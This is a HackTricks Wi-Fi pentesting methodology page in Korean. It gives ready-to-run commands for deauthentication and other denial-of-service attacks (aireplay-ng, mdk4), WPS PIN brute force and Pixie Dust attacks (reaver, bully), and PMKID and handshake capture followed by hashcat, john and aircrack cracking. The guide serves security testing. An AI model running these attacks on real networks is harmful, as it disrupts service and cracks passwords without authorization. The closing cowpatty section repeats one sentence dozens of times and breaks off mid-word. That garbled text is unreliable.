hacktricks/generic-methodologies-and-resources/pentesting-wifi/README.md
2024-02-10 21:30:13 +00:00

70 KiB

Wifi 기본 명령어

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

경험 많은 해커와 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력
해킹의 스릴과 도전에 대해 자세히 알아보는 콘텐츠와 상호 작용하세요.

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 최신 정보를 받아보세요.

**Discord**에 참여하여 최고의 해커들과 협업을 시작하세요!

Wifi 기본 명령어

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis

도구

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

Airgeddon은 와이파이 해킹 및 보안 강화 도구입니다. 이 도구는 다양한 공격 기법을 사용하여 와이파이 네트워크를 테스트하고 해킹하는 데 사용됩니다. Airgeddon은 와이파이 해킹에 대한 포괄적인 접근 방식을 제공하며, 다양한 공격 및 스니핑 기능을 제공합니다.

Airgeddon은 다음과 같은 주요 기능을 제공합니다:

  • 와이파이 네트워크 스캐닝 및 식별
  • 핸드셰이크 캡처 및 브루트 포스 공격
  • WPS 공격
  • Evil Twin 및 Rogue AP 공격
  • 클라이언트 디컨션 공격
  • 무선 트래픽 스니핑 및 패킷 캡처
  • 다양한 와이파이 해킹 도구와의 통합

Airgeddon은 사용하기 쉬운 인터페이스를 제공하며, 명령 줄 및 그래픽 사용자 인터페이스를 모두 지원합니다. 이 도구는 와이파이 해킹 및 보안 강화에 관심이 있는 사람들에게 유용한 도구입니다.

참고: Airgeddon은 합법적인 테스트 및 보안 목적으로만 사용해야 합니다. 불법적인 활동에 사용할 경우 법적인 문제가 발생할 수 있습니다.

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

도커를 사용하여 airgeddon 실행하기

Airgeddon은 와이파이 펜테스팅 도구로, 도커를 사용하여 실행할 수 있습니다.

  1. 먼저, 도커를 설치해야 합니다. 도커 설치 방법은 도커 공식 웹사이트에서 확인할 수 있습니다.

  2. 도커를 설치한 후, 터미널 또는 명령 프롬프트를 열고 다음 명령을 실행하여 airgeddon 도커 이미지를 다운로드합니다.

    docker pull v1s1t0r1sh3r3/airgeddon
    
  3. 이미지 다운로드가 완료되면, 다음 명령을 실행하여 airgeddon을 도커 컨테이너로 실행합니다.

    docker run -it --net=host --privileged v1s1t0r1sh3r3/airgeddon
    

    이 명령은 호스트 네트워크와 권한을 공유하여 airgeddon을 실행합니다.

  4. airgeddon이 성공적으로 실행되면, 터미널에서 airgeddon의 메뉴를 탐색하고 원하는 작업을 수행할 수 있습니다.

이제 도커를 사용하여 airgeddon을 실행할 수 있습니다.

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

Evil Twin, KARMA 및 Known Beacons 공격을 수행한 다음 피싱 템플릿을 사용하여 네트워크의 실제 비밀번호를 얻거나 소셜 네트워크 자격증명을 캡처할 수 있습니다.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

이 도구는 WPS/WEP/WPA-PSK 공격을 자동화합니다. 다음과 같은 작업을 자동으로 수행합니다:

  • 인터페이스를 모니터 모드로 설정합니다.
  • 가능한 네트워크를 스캔하고 피해자를 선택할 수 있게 합니다.
  • WEP인 경우 - WEP 공격을 실행합니다.
  • WPA-PSK인 경우
  • WPS인 경우: Pixie 더스트 공격과 브루트포스 공격을 수행합니다 (브루트포스 공격은 시간이 오래 걸릴 수 있으므로 주의해야 합니다). 빈 PIN 또는 데이터베이스/생성된 PIN을 시도하지 않는다는 점에 유의하세요.
  • AP에서 PMKID를 캡처하여 크랙을 시도합니다.
  • AP의 클라이언트를 디인증하여 핸드셰이크를 캡처하려고 시도합니다.
  • PMKID 또는 핸드셰이크가 있는 경우, 상위 5000개의 비밀번호를 사용하여 브루트포스를 시도합니다.

공격 요약

  • DoS
  • Deauthentication/disassociation -- 모두 연결 해제 (또는 특정 ESSID/클라이언트)
  • 무작위 가짜 AP -- 네트워크 숨기기, 스캐너 충돌 가능성
  • AP 과부하 -- AP를 중단시키려고 시도합니다 (일반적으로 유용하지 않음)
  • WIDS -- IDS와 상호작용
  • TKIP, EAPOL -- 일부 특정 AP를 DoS하기 위한 공격
  • 크랙
  • WEP 크랙 (여러 도구와 방법)
  • WPA-PSK
  • WPS 핀 "브루트포스"
  • WPA PMKID 브루트포스
  • [DoS +] WPA 핸드셰이크 캡처 + 크랙
  • WPA-MGT
  • 사용자 이름 캡처
  • 브루트포스 자격 증명
  • Evil Twin (DoS 여부에 상관없이)
  • Open Evil Twin [+ DoS] -- 포털 로그인 자격 증명을 캡처하거나 LAN 공격을 수행하는 데 유용합니다
  • WPA-PSK Evil Twin -- 암호를 알고 있다면 네트워크 공격에 유용합니다
  • WPA-MGT -- 회사 자격 증명을 캡처하는 데 유용합니다
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open -- 포털 로그인 자격 증명을 캡처하거나 LAN 공격을 수행하는 데 유용합니다
  • + WPA -- WPA 핸드셰이크를 캡처하는 데 유용합니다

DoS

디인증 패킷

여기에서 설명한 대로, 디인증 공격은 Wi-Fi 해킹에서 흔히 사용되는 방법으로, "관리" 프레임을 위조하여 장치를 네트워크에서 강제로 연결 해제하는 것입니다. 이 암호화되지 않은 패킷은 클라이언트를 속여 정상적인 네트워크에서 온 것으로 착각하게 하여 공격자가 크랙을 위해 WPA 핸드셰이크를 수집하거나 네트워크 연결을 지속적으로 방해할 수 있게 합니다. 이 간단한 전술은 네트워크 보안에 중대한 영향을 미치며 널리 사용되고 있습니다.

Aireplay-ng를 사용한 디인증 공격

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0은 연결 해제를 의미합니다.
  • 1은 보낼 연결 해제의 수입니다 (원한다면 여러 개를 보낼 수 있음); 0은 계속해서 보냅니다.
  • -a 00:14:6C:7E:40:80은 액세스 포인트의 MAC 주소입니다.
  • -c 00:0F:B5:34:30:30은 연결 해제할 클라이언트의 MAC 주소입니다; 이 부분을 생략하면 브로드캐스트 연결 해제가 전송됩니다 (항상 작동하지는 않음).
  • ath0은 인터페이스 이름입니다.

연결 해제 패킷

연결 해제 패킷은 Wi-Fi 네트워크에서 사용되는 관리 프레임의 일종인 연결 해제 패킷입니다. 이 패킷은 장치 (노트북이나 스마트폰과 같은)와 액세스 포인트 (AP) 간의 연결을 끊기 위해 사용됩니다. 연결 해제와 연결 해제의 주요 차이점은 사용 시나리오에 있습니다. AP는 네트워크에서 명시적으로 부정 기기를 제거하기 위해 연결 해제 패킷을 발신하는 반면, 연결 해제 패킷은 일반적으로 AP가 종료, 재시작 또는 이동 중인 경우에 모든 연결된 노드의 연결을 끊어야 하는 경우에 전송됩니다.

이 공격은 mdk4 (모드 "d")를 사용하여 수행할 수 있습니다.

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

mdk4에 의한 더 많은 DOS 공격

**여기**에서 확인하세요.

공격 모드 b: 비콘 플러딩

클라이언트에 가짜 AP를 보여주기 위해 비콘 프레임을 보냅니다. 이는 때때로 네트워크 스캐너와 드라이버까지 크래시시킬 수 있습니다!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

공격 모드 a: 인증 거부 서비스

범위 내의 모든 접근 가능한 액세스 포인트(AP)에 인증 프레임을 전송하면, 특히 많은 클라이언트가 관련될 때 이러한 AP들을 과부하시킬 수 있습니다. 이러한 과도한 트래픽은 시스템의 불안정성을 야기하여 일부 AP가 멈추거나 재설정될 수 있습니다.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

공격 모드 p: SSID 탐색 및 무차별 대입 공격

액세스 포인트(AP) 탐색은 SSID가 올바르게 공개되었는지 확인하고 AP의 범위를 확인합니다. 이 기술은 단어 목록을 사용하여 숨겨진 SSID를 무차별 대입 공격하여 숨겨진 네트워크를 식별하고 접근하는 데 도움이 됩니다.

공격 모드 m: Michael 대책 악용

랜덤하거나 중복된 패킷을 다른 QoS 큐로 보내면 TKIP APs에서 Michael 대책이 트리거되어 1분 동안 AP가 종료될 수 있습니다. 이 방법은 효과적인 DoS(서비스 거부) 공격 전술입니다.

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

공격 모드 e: EAPOL 시작 및 로그오프 패킷 주입

EAPOL 시작 프레임을 AP에 과다하게 주입하여 가짜 세션을 생성하면 AP가 압도되어 정상 클라이언트의 접속을 차단합니다. 또는 가짜 EAPOL 로그오프 메시지를 주입하여 클라이언트를 강제로 연결 해제할 수 있으며, 이 두 가지 방법 모두 네트워크 서비스를 방해하는 효과가 있습니다.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

공격 모드 s: IEEE 802.11s 메시 네트워크에 대한 공격

메시 네트워크에서 링크 관리 및 라우팅에 대한 다양한 공격입니다.

공격 모드 w: WIDS 혼란

클라이언트를 여러 WDS 노드 또는 가짜 로그 AP에 교차 연결하여 침입 탐지 및 방지 시스템을 조작하여 혼란을 일으킬 수 있으며, 잠재적인 시스템 남용을 유발할 수 있습니다.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

공격 모드 f: 패킷 퍼저

패킷 퍼저는 다양한 패킷 소스와 패킷 조작을 위한 포괄적인 수정자 세트를 갖춘 패킷 퍼저입니다.

Airggedon

_Airgeddon_은 이전 댓글에서 제안된 대부분의 공격을 제공합니다:

WPS

WPS(Wi-Fi Protected Setup)는 WPA 또는 WPA2 Personal로 암호화된 네트워크의 연결 프로세스를 간소화하여 라우터에 장치를 연결하는 과정을 향상시킵니다. WEP 보안은 쉽게 침해될 수 있으므로 효과가 없습니다. WPS는 8자리 PIN을 사용하며, 이는 두 부분으로 유효성을 검사하므로 가능한 조합 수가 제한되어 브루트 포스 공격에 취약합니다(11,000가지 가능성).

WPS 브루트 포스

이 작업을 수행하기 위해 주로 사용되는 도구는 Reaver와 Bully입니다.

  • Reaver는 WPS에 대한 견고하고 실용적인 공격을 위해 설계되었으며, 다양한 액세스 포인트와 WPS 구현에 대해 테스트되었습니다.
  • Bully는 C로 작성된 WPS 브루트 포스 공격의 새로운 구현입니다. 원래 reaver 코드보다 더 적은 종속성, 향상된 메모리 및 CPU 성능, 엔디안 처리의 올바른 처리, 더 견고한 옵션 세트를 갖추고 있습니다.

이 공격은 WPS PIN의 취약점을 이용하며, 특히 처음 네 자리 숫자의 노출과 마지막 숫자의 체크섬 역할로 인해 브루트 포스 공격이 용이해집니다. 그러나 공격적인 공격자의 MAC 주소 차단과 같은 브루트 포스 공격에 대한 방어는 MAC 주소 회전을 요구하여 공격을 계속할 수 있습니다.

Bully 또는 Reaver와 같은 도구를 사용하여 WPS PIN을 획득한 후 공격자는 WPA/WPA2 PSK를 추론하여 지속적인 네트워크 접속을 보장할 수 있습니다.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

스마트 브루트 포스

이 정교한 접근 방식은 알려진 취약점을 이용하여 WPS PIN을 대상으로 합니다:

  1. 미리 발견된 PIN: 특정 제조업체가 일관된 WPS PIN을 사용하는 것으로 알려진 PIN 데이터베이스를 활용합니다. 이 데이터베이스는 MAC 주소의 첫 세 옥텟을 이 제조업체의 가능한 PIN과 연결합니다.
  2. PIN 생성 알고리즘: ComputePIN 및 EasyBox와 같은 알고리즘을 활용하여 AP의 MAC 주소를 기반으로 WPS PIN을 계산합니다. Arcadyan 알고리즘은 추가로 장치 ID가 필요하여 PIN 생성 과정에 레이어를 추가합니다.

WPS Pixie Dust 공격

Dominique Bongard는 일부 액세스 포인트(AP)에서 비밀 코드인 nonce (E-S1E-S2) 생성과 관련된 결함을 발견했습니다. 이러한 nonce를 알아내면 AP의 WPS PIN을 쉽게 크랙할 수 있습니다. AP는 특별한 코드(해시) 내에서 PIN을 공개하여 이것이 정품이며 가짜(로그) AP가 아님을 증명합니다. 이러한 nonce는 WPS PIN을 보관하는 "금고"를 열기 위한 "키"와 같은 역할을 합니다. 자세한 내용은 여기에서 확인할 수 있습니다.

간단히 말하면, 문제는 일부 AP가 연결 과정에서 PIN을 암호화하기 위해 충분히 무작위적인 키를 사용하지 않았다는 것입니다. 이로 인해 PIN이 네트워크 외부에서 추측될 수 있으며 (오프라인 브루트 포스 공격), 취약해집니다.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Null Pin 공격

일부 설계가 잘못된 시스템은 심지어 Null PIN (빈 또는 존재하지 않는 PIN)으로도 액세스를 허용합니다. 이는 매우 이례적입니다. Reaver 도구는 이 취약점을 테스트할 수 있지만 Bully는 그렇지 않습니다.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

모든 제안된 WPS 공격은 _airgeddon_을 사용하여 쉽게 수행할 수 있습니다.

  • 5와 6은 사용자 정의 PIN을 시도할 수 있게 해줍니다 (있는 경우)
  • 7과 8은 Pixie Dust 공격을 수행합니다.
  • 13은 NULL PIN을 테스트할 수 있게 해줍니다.
  • 11과 12는 선택한 AP와 관련된 PIN을 사용 가능한 데이터베이스에서 수집하고 ComputePIN, EasyBox 및 선택적으로 Arcadyan(권장, 왜 안 해볼까요?)을 사용하여 가능한 PIN생성합니다.
  • 9와 10은 모든 가능한 PIN을 테스트합니다.

WEP

지금은 망가져서 사용되지 않습니다. _airgeddon_에는 이러한 종류의 보호를 공격하기 위한 "All-in-One"이라는 WEP 옵션이 있습니다. 다른 도구들도 유사한 옵션을 제공합니다.


경험있는 해커와 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 인사이트
해킹의 스릴과 도전에 대해 자세히 알아보는 콘텐츠와 상호작용하세요.

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.

최신 공지사항
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 받아보세요.

**Discord**에 참여하여 최고의 해커들과 협업을 시작하세요!


WPA/WPA2 PSK

PMKID

2018년에 hashcat새로운 공격 방법을 공개했습니다. 이 방법은 단 한 개의 패킷만 필요로 하며 대상 AP에 연결된 클라이언트가 필요하지 않습니다. 공격자와 AP 간의 상호작용만 필요합니다.

현대의 많은 라우터는 협회 중에 옵션 필드첫 번째 EAPOL 프레임에 추가합니다. 이 필드는 Robust Security Network라고 불리며 PMKID를 포함합니다.

원래 게시물에서 설명한 대로 PMKID는 알려진 데이터를 사용하여 생성됩니다:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

"PMK Name"이 일정하다는 것을 알고 있으며, AP와 스테이션의 BSSID를 알고 있으며, PMK가 완전한 4-way 핸드셰이크의 것과 동일하다면, hashcat은 이 정보를 사용하여 PSK를 크랙하고 암호를 복구할 수 있습니다!

이 정보를 수집하고 비밀번호를 로컬에서 브루트포스하기 위해 다음을 수행할 수 있습니다:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

캡처한 PMKIDs콘솔에 표시되며, 또한 /tmp/attack.pcap에 저장됩니다. 이제 캡처를 hashcat/john 형식으로 변환하고 크랙해보세요:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

올바른 해시 형식은 4 부분으로 구성되어야 합니다. 예를 들어, 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838와 같습니다. 만약 해시가 3 부분으로만 구성되어 있다면, 이는 유효하지 않습니다 (PMKID 캡처가 유효하지 않음을 의미합니다).

또한 hcxdumptool핸드셰이크도 캡처합니다 (다음과 같은 내용이 표시됩니다: MP:M1M2 RC:63258 EAPOLTIME:17091). cap2hccapx를 사용하여 핸드셰이크hashcat/john 형식으로 변환할 수 있습니다.

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

이 도구로 캡처한 일부 핸드셰이크는 올바른 비밀번호를 알고 있음에도 불구하고 크랙되지 않는 것을 알게 되었습니다. 가능하다면 전통적인 방법으로 핸드셰이크를 캡처하거나 이 도구를 사용하여 여러 개의 핸드셰이크를 캡처하는 것을 권장합니다.

핸드셰이크 캡처

WPA/WPA2 네트워크에 대한 공격은 핸드셰이크를 캡처하고 비밀번호를 오프라인으로 크랙하는 것으로 수행될 수 있습니다. 이 과정은 특정 네트워크와 BSSID 그리고 특정 채널에서의 통신을 모니터링하는 것을 포함합니다. 다음은 간소화된 가이드입니다:

  1. 대상 네트워크의 BSSID, 채널, 그리고 연결된 클라이언트를 식별합니다.
  2. airodump-ng를 사용하여 지정된 채널과 BSSID에서 네트워크 트래픽을 모니터링하고 핸드셰이크를 캡처하기를 시도합니다. 명령어는 다음과 같을 것입니다:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. 핸드셰이크를 캡처할 확률을 높이기 위해 클라이언트를 일시적으로 네트워크에서 분리하여 다시 인증을 강제로 수행합니다. 이는 aireplay-ng 명령을 사용하여 클라이언트에 디인증 패킷을 보내는 것으로 수행할 수 있습니다:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

클라이언트가 인증 해제되었으므로 다른 AP에 연결하려고 시도할 수도 있으며, 다른 경우에는 다른 네트워크에 연결할 수도 있습니다.

airodump-ng에 일부 핸드셰이크 정보가 나타나면 핸드셰이크가 캡처되었으며, 듣기를 중지할 수 있습니다:

핸드셰이크가 캡처되면 aircrack-ng를 사용하여 해독할 수 있습니다:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

파일에서 핸드셰이크 확인

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark는 Wireshark의 명령줄 버전입니다. Wireshark는 네트워크 패킷을 캡처하고 분석하는 도구로 유명합니다. tshark는 Wireshark와 동일한 기능을 제공하지만 명령줄에서 사용할 수 있습니다. 이를 통해 자동화된 작업이나 스크립트에서 사용할 수 있습니다.

tshark는 다양한 기능을 제공합니다. 패킷 필터링, 통계 정보 추출, 패킷 디코딩 등을 할 수 있습니다. 또한 다양한 파일 형식으로 패킷을 저장하고 읽을 수 있습니다.

tshark는 다양한 운영 체제에서 사용할 수 있으며, Wireshark와 함께 제공되는 패키지에 포함되어 있습니다. tshark를 사용하여 네트워크 트래픽을 분석하고 문제를 해결할 수 있습니다.

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty는 WPA/WPA2-PSK 네트워크의 사전 공격을 수행하는 도구입니다. 이 도구는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. 이 도구는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 네트워크의 사전 공격을 가속화합니다. cowpatty는 사전에 생성된 해시 테이블을 사용하여 무선 